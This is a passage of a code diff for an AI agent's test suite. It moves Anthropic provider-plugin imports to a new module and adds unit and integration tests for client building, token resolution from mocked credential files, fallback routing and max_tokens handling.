module 'anthropic' has no attribute 'Anthropic'``.
We remove the conflicting entry, evict any wrong cached import, and
force-import the real SDK so sys.modules["anthropic"] is correct even
after pytest re-adds the conflicting path during collection.
"""
import importlib
_repo_root = Path(__file__).resolve().parent.parent.parent.parent # main/
_bad = str(_repo_root / "plugins" / "model-providers")
while _bad in sys.path:
sys.path.remove(_bad)
# Evict wrong import
if "anthropic" in sys.modules and not hasattr(sys.modules["anthropic"], "Anthropic"):
del sys.modules["anthropic"]
# Force-import the real SDK now (before pytest re-adds the bad path)
# so sys.modules["anthropic"] points to the real package.
try:
import anthropic as _real_anthropic # noqa: F401
if not hasattr(_real_anthropic, "Anthropic"):
raise ImportError("wrong anthropic module loaded")
except ImportError:
# Try explicit import from venv
import importlib.util as _ilu
for _p in sys.path:
_candidate = Path(_p) / "anthropic" / "__init__.py"
if _candidate.exists() and (_candidate.parent / "_client.py").exists():
_spec = _ilu.spec_from_file_location("anthropic", _candidate)
if _spec and _spec.loader:
_mod = _ilu.module_from_spec(_spec)
sys.modules["anthropic"] = _mod
_spec.loader.exec_module(_mod)
break
class _FullCtx:
"""Plugin context that wires up all registry hooks the anthropic plugin uses.
Uses the real registries for provider_services, provider_resolver,
credential_pool_hook, transport, and pricing so plugin internals work
correctly. Everything else is a no-op so the fixture doesn't depend on
parts of the system (platform, TTS, etc.) that aren't under test.
"""
def register_provider_services(self, name, services):
from agent.plugin_registries import registries
registries.register_provider_services(name, services)
def register_provider_resolver(self, name, resolver):
from agent.plugin_registries import registries
registries.register_provider_resolver(name, resolver)
def register_credential_pool_hook(self, name, hook):
from agent.plugin_registries import registries
registries.register_credential_pool_hook(name, hook)
def register_transport(self, api_mode, transport_cls):
from agent.plugin_registries import registries
registries._transports[api_mode] = transport_cls
def register_pricing_provider(self, name, fn):
from agent.plugin_registries import registries
registries.register_pricing_provider(name, fn)
def register_provider_overlay(self, entry):
from agent.plugin_registries import registries
registries.register_provider_overlay(entry)
# Catch-all no-op for every other register_* method (platform, TTS,
# tools, hooks, skills, etc.) so the fixture never crashes when the
# plugin calls something we don't need to wire up for unit tests.
def __getattr__(self, name):
if name.startswith("register_"):
return lambda *a, **kw: None
raise AttributeError(name)
@pytest.fixture(autouse=True)
def _register_anthropic_plugin():
"""Register the real anthropic plugin for the duration of each test,
then restore the registry to its prior state afterwards.
Calls the plugin's ``register()`` against a full context so that all
registry hooks (services, resolver, transport, pricing, etc.) are
populated. patch.dict on each affected registry dict guarantees clean
teardown even across conftest scopes.
"""
from agent.plugin_registries import registries
# Snapshot current state so we can restore after the test.
_prev_services = dict(registries._provider_services)
_prev_resolvers = dict(registries._provider_resolvers)
_prev_cph = dict(registries._credential_pool_hooks)
_prev_transports = dict(registries._transports) if hasattr(registries, "_transports") else {}
_prev_pricing = dict(registries._pricing_providers) if hasattr(registries, "_pricing_providers") else {}
_prev_overlays = dict(registries._provider_overlays) if hasattr(registries, "_provider_overlays") else {}
ctx = _FullCtx()
try:
from hermes_agent_anthropic import register as _reg # type: ignore[import]
_reg(ctx)
except ImportError:
pass
yield
# Restore — remove keys the plugin added, put back what was there before.
for d, prev in [
(registries._provider_services, _prev_services),
(registries._provider_resolvers, _prev_resolvers),
(registries._credential_pool_hooks, _prev_cph),
]:
d.clear()
d.update(prev)
for attr, prev in [
("_transports", _prev_transports),
("_pricing_providers", _prev_pricing),
("_provider_overlays", _prev_overlays),
]:
if hasattr(registries, attr):
getattr(registries, attr).clear()
getattr(registries, attr).update(prev)
def _make_tool_defs(*names: str) -> list:
"""Build minimal tool definition list accepted by AIAgent.__init__."""
return [
{
"type": "function",
"function": {
"name": n,
"description": f"{n} tool",
"parameters": {"type": "object", "properties": {}},
},
}
for n in names
]
@pytest.fixture()
def agent():
"""Minimal AIAgent with mocked OpenAI client and tool loading."""
from run_agent import AIAgent
with (
patch(
"run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")
),
patch("run_agent.check_toolset_requirements", return_value={}),
patch("run_agent.OpenAI"),
):
a = AIAgent(
api_key="test-key-1234567890",
base_url="https://openrouter.ai/api/v1",
quiet_mode=True,
skip_context_files=True,
skip_memory=True,
)
a.client = MagicMock()
return a
@@ -9,23 +9,25 @@ from unittest.mock import patch, MagicMock
import pytest
from agent.prompt_caching import apply_anthropic_cache_control
from agent.anthropic_adapter import (
from hermes_agent_anthropic.adapter import (
_is_azure_anthropic_endpoint,
_is_oauth_token,
_refresh_oauth_token,
_to_plain_data,
_write_claude_code_credentials,
build_anthropic_client,
build_anthropic_bedrock_client,
build_anthropic_kwargs,
convert_messages_to_anthropic,
convert_tools_to_anthropic,
is_claude_code_token_valid,
normalize_model_name,
read_claude_code_credentials,
resolve_anthropic_token,
run_oauth_setup_token,
)
from agent.anthropic_format import (
_to_plain_data,
build_anthropic_kwargs,
convert_messages_to_anthropic,
convert_tools_to_anthropic,
normalize_model_name,
)
from agent.transports import get_transport
@@ -60,7 +62,7 @@ class TestIsOAuthToken:
class TestBuildAnthropicClient:
def test_setup_token_uses_auth_token(self):
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client("sk-ant-oat01-" + "x" * 60)
kwargs = mock_sdk.Anthropic.call_args[1]
assert "auth_token" in kwargs
@@ -77,7 +79,7 @@ class TestBuildAnthropicClient:
def test_oauth_drop_context_1m_beta_strips_only_1m(self):
"""drop_context_1m_beta=True strips context-1m-2025-08-07 while
preserving every other OAuth-relevant beta."""
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client(
"sk-ant-oat01-" + "x" * 60,
drop_context_1m_beta=True,
@@ -92,7 +94,7 @@ class TestBuildAnthropicClient:
assert "fine-grained-tool-streaming-2025-05-14" in betas
def test_api_key_uses_api_key(self):
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client("sk-ant-api03-something")
kwargs = mock_sdk.Anthropic.call_args[1]
assert kwargs["api_key"] == "sk-ant-api03-something"
@@ -105,7 +107,7 @@ class TestBuildAnthropicClient:
assert "claude-code-20250219" not in betas # OAuth-only beta NOT present
def test_custom_base_url(self):
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client("sk-ant-api03-x", base_url="https://custom.api.com")
kwargs = mock_sdk.Anthropic.call_args[1]
assert kwargs["base_url"] == "https://custom.api.com"
@@ -114,7 +116,7 @@ class TestBuildAnthropicClient:
}
def test_azure_anthropic_endpoint_keeps_context_1m_beta(self):
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client(
"azure-key",
base_url="https://example.services.ai.azure.com/models/anthropic",
@@ -138,7 +140,7 @@ class TestBuildAnthropicClient:
) is False
def test_bedrock_client_keeps_context_1m_beta(self):
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
mock_sdk.AnthropicBedrock = MagicMock()
build_anthropic_bedrock_client("us-east-1")
kwargs = mock_sdk.AnthropicBedrock.call_args[1]
@@ -146,7 +148,7 @@ class TestBuildAnthropicClient:
assert "context-1m-2025-08-07" in betas
def test_minimax_anthropic_endpoint_uses_bearer_auth_for_regular_api_keys(self):
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client(
"minimax-secret-123",
base_url="https://api.minimax.io/anthropic",
@@ -159,7 +161,7 @@ class TestBuildAnthropicClient:
}
def test_minimax_cn_anthropic_endpoint_omits_tool_streaming_beta(self):
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client(
"minimax-cn-secret-123",
base_url="https://api.minimaxi.com/anthropic",
@@ -178,7 +180,7 @@ class TestBuildAnthropicClient:
and the endpoint returns HTTP 401. Also verifies that Azure retains the
1M-context beta even though it now matches `_requires_bearer_auth`.
"""
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client(
"azure-foundry-secret-123",
base_url="https://my-resource.openai.azure.com/anthropic",
@@ -197,7 +199,7 @@ class TestReadClaudeCodeCredentials:
@pytest.fixture(autouse=True)
def no_keychain(self, monkeypatch):
monkeypatch.setattr(
"agent.anthropic_adapter._read_claude_code_credentials_from_keychain",
"hermes_agent_anthropic.adapter._read_claude_code_credentials_from_keychain",
lambda: None,
)
@@ -211,7 +213,7 @@ class TestReadClaudeCodeCredentials:
"expiresAt": int(time.time() * 1000) + 3600_000,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
creds = read_claude_code_credentials()
assert creds is not None
assert creds["accessToken"] == "sk-ant-oat01-token"
@@ -221,20 +223,20 @@ class TestReadClaudeCodeCredentials:
def test_ignores_primary_api_key_for_native_anthropic_resolution(self, tmp_path, monkeypatch):
claude_json = tmp_path / ".claude.json"
claude_json.write_text(json.dumps({"primaryApiKey": "sk-ant-api03-primary"}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
creds = read_claude_code_credentials()
assert creds is None
def test_returns_none_for_missing_file(self, tmp_path, monkeypatch):
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert read_claude_code_credentials() is None
def test_returns_none_for_missing_oauth_key(self, tmp_path, monkeypatch):
cred_file = tmp_path / ".claude" / ".credentials.json"
cred_file.parent.mkdir(parents=True)
cred_file.write_text(json.dumps({"someOtherKey": {}}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert read_claude_code_credentials() is None
def test_returns_none_for_empty_access_token(self, tmp_path, monkeypatch):
@@ -243,7 +245,7 @@ class TestReadClaudeCodeCredentials:
cred_file.write_text(json.dumps({
"claudeAiOauth": {"accessToken": "", "refreshToken": "x"}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert read_claude_code_credentials() is None
@@ -266,7 +268,7 @@ class TestResolveAnthropicToken:
monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-api03-mykey")
monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-mytoken")
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() == "sk-ant-oat01-mytoken"
def test_does_not_resolve_primary_api_key_as_native_anthropic_token(self, monkeypatch, tmp_path):
@@ -274,7 +276,7 @@ class TestResolveAnthropicToken:
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
(tmp_path / ".claude.json").write_text(json.dumps({"primaryApiKey": "sk-ant-api03-primary"}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() is None
@@ -282,28 +284,28 @@ class TestResolveAnthropicToken:
monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-api03-mykey")
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() == "sk-ant-api03-mykey"
def test_falls_back_to_token(self, monkeypatch, tmp_path):
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-mytoken")
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() == "sk-ant-oat01-mytoken"
def test_returns_none_with_no_creds(self, monkeypatch, tmp_path):
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() is None
def test_falls_back_to_claude_code_oauth_token(self, monkeypatch, tmp_path):
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "sk-ant-oat01-test-token")
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() == "sk-ant-oat01-test-token"
def test_falls_back_to_claude_code_credentials(self, monkeypatch, tmp_path):
@@ -319,7 +321,7 @@ class TestResolveAnthropicToken:
"expiresAt": int(time.time() * 1000) + 3600_000,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() == "cc-auto-token"
def test_prefers_refreshable_claude_code_credentials_over_static_anthropic_token(self, monkeypatch, tmp_path):
@@ -335,7 +337,7 @@ class TestResolveAnthropicToken:
"expiresAt": int(time.time() * 1000) + 3600_000,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() == "cc-auto-token"
@@ -345,7 +347,7 @@ class TestResolveAnthropicToken:
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
claude_json = tmp_path / ".claude.json"
claude_json.write_text(json.dumps({"primaryApiKey": "sk-ant-api03-managed-key"}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
assert resolve_anthropic_token() == "sk-ant-oat01-static-token"
@@ -356,7 +358,7 @@ class TestRefreshOauthToken:
assert _refresh_oauth_token(creds) is None
def test_successful_refresh(self, tmp_path, monkeypatch):
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
creds = {
"accessToken": "old-token",
@@ -401,7 +403,7 @@ class TestRefreshOauthToken:
class TestWriteClaudeCodeCredentials:
def test_writes_new_file(self, tmp_path, monkeypatch):
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
_write_claude_code_credentials("tok", "ref", 12345)
cred_file = tmp_path / ".claude" / ".credentials.json"
assert cred_file.exists()
@@ -411,7 +413,7 @@ class TestWriteClaudeCodeCredentials:
assert data["claudeAiOauth"]["expiresAt"] == 12345
def test_preserves_existing_fields(self, tmp_path, monkeypatch):
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
cred_dir = tmp_path / ".claude"
cred_dir.mkdir()
cred_file = cred_dir / ".credentials.json"
@@ -431,7 +433,7 @@ class TestWriteClaudeCodeCredentials:
the fix shipped in #19673 (google_oauth) and #21148 (mcp_oauth).
"""
import stat as _stat
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
_write_claude_code_credentials("tok", "ref", 12345)
cred_file = tmp_path / ".claude" / ".credentials.json"
@@ -457,10 +459,10 @@ class TestResolveWithRefresh:
"expiresAt": int(time.time() * 1000) - 3600_000,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
# Mock refresh to succeed
with patch("agent.anthropic_adapter._refresh_oauth_token", return_value="refreshed-token"):
with patch("hermes_agent_anthropic.adapter._refresh_oauth_token", return_value="refreshed-token"):
result = resolve_anthropic_token()
assert result == "refreshed-token"
@@ -479,9 +481,9 @@ class TestResolveWithRefresh:
"expiresAt": int(time.time() * 1000) - 3600_000,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
with patch("agent.anthropic_adapter._refresh_oauth_token", return_value="refreshed-token"):
with patch("hermes_agent_anthropic.adapter._refresh_oauth_token", return_value="refreshed-token"):
result = resolve_anthropic_token()
assert result == "refreshed-token"
@@ -509,7 +511,7 @@ class TestRunOauthSetupToken:
"expiresAt": int(time.time() * 1000) + 3600_000,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
with patch("subprocess.run") as mock_run:
mock_run.return_value = MagicMock(returncode=0)
@@ -527,7 +529,7 @@ class TestRunOauthSetupToken:
monkeypatch.setattr("shutil.which", lambda _: "/usr/bin/claude")
monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "from-env-var")
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
with patch("subprocess.run") as mock_run:
mock_run.return_value = MagicMock(returncode=0)
@@ -540,7 +542,7 @@ class TestRunOauthSetupToken:
monkeypatch.setattr("shutil.which", lambda _: "/usr/bin/claude")
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
with patch("subprocess.run") as mock_run:
mock_run.return_value = MagicMock(returncode=0)
@@ -1187,7 +1189,7 @@ class TestBuildAnthropicKwargs:
# Because build_anthropic_kwargs doesn't currently accept sampling
# params through its signature, we exercise the strip behavior by
# calling the internal predicate directly.
from agent.anthropic_adapter import _forbids_sampling_params
from agent.anthropic_format import _forbids_sampling_params
assert _forbids_sampling_params("claude-opus-4-8") is True
assert _forbids_sampling_params("claude-opus-4-8-fast") is True
assert _forbids_sampling_params("claude-opus-4-7") is True
@@ -1203,7 +1205,7 @@ class TestBuildAnthropicKwargs:
``_supports_fast_mode`` (which gates the parameter) must stay
False for both opus-4-8 and opus-4-8-fast.
"""
from agent.anthropic_adapter import _supports_fast_mode
from agent.anthropic_format import _supports_fast_mode
assert _supports_fast_mode("claude-opus-4-6") is True
assert _supports_fast_mode("anthropic/claude-opus-4-6") is True
assert _supports_fast_mode("claude-opus-4-7") is False
@@ -1358,36 +1360,36 @@ class TestBuildAnthropicKwargs:
class TestGetAnthropicMaxOutput:
def test_opus_4_6(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("claude-opus-4-6") == 128_000
def test_opus_4_6_variant(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("claude-opus-4-6:1m:fast") == 128_000
def test_sonnet_4_6(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("claude-sonnet-4-6") == 64_000
def test_sonnet_4_date_stamped(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("claude-sonnet-4-20250514") == 64_000
def test_claude_3_5_sonnet(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("claude-3-5-sonnet-20241022") == 8_192
def test_claude_3_opus(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("claude-3-opus-20240229") == 4_096
def test_unknown_future_model(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("claude-ultra-5-20260101") == 128_000
def test_longest_prefix_wins(self):
"""'claude-3-5-sonnet' should match before 'claude-3-5'."""
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
# claude-3-5-sonnet (8192) should win over a hypothetical shorter match
assert _get_anthropic_max_output("claude-3-5-sonnet-20241022") == 8_192
@@ -1884,7 +1886,7 @@ class TestToolChoice:
# max_tokens resolver — openclaw/openclaw#66664 port
# ---------------------------------------------------------------------------
from agent.anthropic_adapter import (
from agent.anthropic_format import (
_resolve_positive_anthropic_max_tokens,
_resolve_anthropic_messages_max_tokens,
)
@@ -0,0 +1,420 @@
"""Integration tests for Anthropic-specific AIAgent behaviour.
Tests that exercise the interaction between AIAgent and the Anthropic
provider plugin covering max_tokens passthrough, image fallback,
provider fallback routing, base-url passthrough, credential refresh,
and OAuth flag setting.
"""
import json
from types import SimpleNamespace
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
from hermes_agent_anthropic.adapter import build_anthropic_client, resolve_anthropic_token, _is_oauth_token
import run_agent
from run_agent import AIAgent
def _make_tool_defs(*names: str) -> list:
"""Build minimal tool definition list accepted by AIAgent.__init__."""
return [
{
"type": "function",
"function": {
"name": n,
"description": f"{n} tool",
"parameters": {"type": "object", "properties": {}},
},
}
for n in names
]
class TestBuildApiKwargsAnthropicMaxTokens:
"""Bug fix: max_tokens was always None for Anthropic mode, ignoring user config."""
def test_max_tokens_passed_to_anthropic(self, agent):
agent.api_mode = "anthropic_messages"
agent.max_tokens = 4096
agent.reasoning_config = None
with patch("agent.transports.anthropic.build_anthropic_kwargs") as mock_build:
mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096}
agent._build_api_kwargs([{"role": "user", "content": "test"}])
_, kwargs = mock_build.call_args
if not kwargs:
kwargs = dict(zip(
["model", "messages", "tools", "max_tokens", "reasoning_config"],
mock_build.call_args[0],
))
assert kwargs.get("max_tokens") == 4096 or mock_build.call_args[1].get("max_tokens") == 4096
def test_max_tokens_none_when_unset(self, agent):
agent.api_mode = "anthropic_messages"
agent.max_tokens = None
agent.reasoning_config = None
with patch("agent.transports.anthropic.build_anthropic_kwargs") as mock_build:
mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 16384}
agent._build_api_kwargs([{"role": "user", "content": "test"}])
call_args = mock_build.call_args
# max_tokens should be None (let adapter use its default)
if call_args[1]:
assert call_args[1].get("max_tokens") is None
else:
assert call_args[0][3] is None
class TestAnthropicImageFallback:
def test_build_api_kwargs_converts_multimodal_user_image_to_text(self, agent):
agent.api_mode = "anthropic_messages"
agent.reasoning_config = None
api_messages = [{
"role": "user",
"content": [
{"type": "text", "text": "Can you see this now?"},
{"type": "image_url", "image_url": {"url": "https://example.com/cat.png"}},
],
}]
with (
patch("tools.vision_tools.vision_analyze_tool", new=AsyncMock(return_value=json.dumps({"success": True, "analysis": "A cat sitting on a chair."}))),
patch("agent.transports.anthropic.build_anthropic_kwargs") as mock_build,
):
mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096}
agent._build_api_kwargs(api_messages)
kwargs = mock_build.call_args.kwargs or dict(zip(
["model", "messages", "tools", "max_tokens", "reasoning_config"],
mock_build.call_args.args,
))
transformed = kwargs["messages"]
assert isinstance(transformed[0]["content"], str)
assert "A cat sitting on a chair." in transformed[0]["content"]
assert "Can you see this now?" in transformed[0]["content"]
assert "vision_analyze with image_url: https://example.com/cat.png" in transformed[0]["content"]
def test_build_api_kwargs_reuses_cached_image_analysis_for_duplicate_images(self, agent):
agent.api_mode = "anthropic_messages"
agent.reasoning_config = None
data_url = "data:image/png;base64,QUFBQQ=="
api_messages = [
{
"role": "user",
"content": [
{"type": "text", "text": "first"},
{"type": "input_image", "image_url": data_url},
],
},
{
"role": "user",
"content": [
{"type": "text", "text": "second"},
{"type": "input_image", "image_url": data_url},
],
},
]
mock_vision = AsyncMock(return_value=json.dumps({"success": True, "analysis": "A small test image."}))
with (
patch("tools.vision_tools.vision_analyze_tool", new=mock_vision),
patch("agent.transports.anthropic.build_anthropic_kwargs") as mock_build,
):
mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096}
agent._build_api_kwargs(api_messages)
assert mock_vision.await_count == 1
class TestFallbackAnthropicProvider:
"""Bug fix: _try_activate_fallback had no case for anthropic provider."""
def test_fallback_to_anthropic_sets_api_mode(self, agent):
agent._fallback_activated = False
agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-20250514"}
agent._fallback_chain = [agent._fallback_model]
agent._fallback_index = 0
mock_client = MagicMock()
mock_client.base_url = "https://api.anthropic.com/v1"
mock_client.api_key = "***"
with (
patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)),
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build,
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value=None),
):
mock_build.return_value = MagicMock()
result = agent._try_activate_fallback()
assert result is True
assert agent.api_mode == "anthropic_messages"
assert agent._anthropic_client is not None
assert agent.client is None
def test_fallback_to_anthropic_enables_prompt_caching(self, agent):
agent._fallback_activated = False
agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-20250514"}
agent._fallback_chain = [agent._fallback_model]
agent._fallback_index = 0
mock_client = MagicMock()
mock_client.base_url = "https://api.anthropic.com/v1"
mock_client.api_key = "***"
with (
patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)),
patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()),
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value=None),
):
agent._try_activate_fallback()
assert agent._use_prompt_caching is True
def test_fallback_to_openrouter_uses_openai_client(self, agent):
agent._fallback_activated = False
agent._fallback_model = {"provider": "openrouter", "model": "anthropic/claude-sonnet-4"}
agent._fallback_chain = [agent._fallback_model]
agent._fallback_index = 0
mock_client = MagicMock()
mock_client.base_url = "https://openrouter.ai/api/v1"
mock_client.api_key = "sk-or-test"
with patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)):
result = agent._try_activate_fallback()
assert result is True
assert agent.api_mode == "chat_completions"
assert agent.client is mock_client
class TestAnthropicBaseUrlPassthrough:
"""Bug fix: base_url was filtered with 'anthropic in base_url', blocking proxies."""
def test_custom_proxy_base_url_passed_through(self):
with (
patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")),
patch("run_agent.check_toolset_requirements", return_value={}),
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build,
):
mock_build.return_value = MagicMock()
a = AIAgent(
api_key="sk-ant...7890",
base_url="https://llm-proxy.company.com/v1",
api_mode="anthropic_messages",
quiet_mode=True,
skip_context_files=True,
skip_memory=True,
)
call_args = mock_build.call_args
# base_url should be passed through, not filtered out
assert call_args[0][1] == "https://llm-proxy.company.com/v1"
def test_none_base_url_passed_as_none(self):
with (
patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")),
patch("run_agent.check_toolset_requirements", return_value={}),
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build,
):
mock_build.return_value = MagicMock()
a = AIAgent(
api_key="sk-ant...7890",
api_mode="anthropic_messages",
quiet_mode=True,
skip_context_files=True,
skip_memory=True,
)
call_args = mock_build.call_args
# No base_url provided, should be default empty string or None
passed_url = call_args[0][1]
assert not passed_url or passed_url is None
class TestAnthropicCredentialRefresh:
def test_try_refresh_anthropic_client_credentials_rebuilds_client(self):
with (
patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")),
patch("run_agent.check_toolset_requirements", return_value={}),
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build,
):
old_client = MagicMock()
new_client = MagicMock()
mock_build.side_effect = [old_client, new_client]
agent = AIAgent(
api_key="sk-ant...oken",
base_url="https://openrouter.ai/api/v1",
api_mode="anthropic_messages",
quiet_mode=True,
skip_context_files=True,
skip_memory=True,
)
agent._anthropic_client = old_client
agent._anthropic_api_key = "sk-ant...old-token" # differs from what resolve returns
